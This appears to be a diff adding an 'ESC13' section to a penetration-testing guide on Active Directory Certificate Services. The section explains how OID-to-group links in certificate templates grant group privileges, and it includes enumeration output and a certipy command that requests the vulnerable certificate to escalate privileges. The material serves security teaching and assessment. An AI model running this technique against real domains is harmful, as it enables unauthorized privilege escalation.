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Add OID Group Link Abuse - ESC13

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Reference:

https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53

https://www.thehacker.recipes/a-d/movement/ad-cs/certificate-templates#issuance-policiy-with-privileged-group-linked-esc13
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windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
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@ -695,6 +695,47 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
Finally, use the certutil `-sign` command to forge a new arbitrary certificate using the CA certificate and its private key.
## OID Group Link Abuse - ESC13
### Explanation
The `msPKI-Certificate-Policy` attribute allows the issuance policy to be added to the certificate template. The `msPKI-Enterprise-Oid` objects that are responsible for issuing policies can be discovered in the Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) of the PKI OID container. A policy can be linked to an AD group using this object's `msDS-OIDToGroupLink` attribute, enabling a system to authorize a user who presents the certificate as though he were a member of the group. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
In other words, when a user has permission to enroll a certificate and the certificate is link to an OID group, the user can inherit the privileges of this group.
You can use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
```powershell
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=Vulnerable template,CN=Users,DC=domain,DC=htb
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=Vulnerable template,CN=Users,DC=domain,DC=htb
------------------------
Enumerating certificate templates
------------------------
Certificate template ManagerAuthentication may be used to obtain membership of CN=Vulnerable template,CN=Users,DC=domain,DC=htb
Certificate template Name: ManagerAuthentication
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=Vulnerable template,CN=Users,DC=domain,DC=htb
------------------------
```
### Abuse Scenario
All you need to do just specify the template, you will get a certificate with OIDToGroupLink rights.
```bash
certipy req -u "mane@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'Vulnerable template'
```
## Compromising Forests with Certificates Explained in Passive Voice
### Breaking of Forest Trusts by Compromised CAs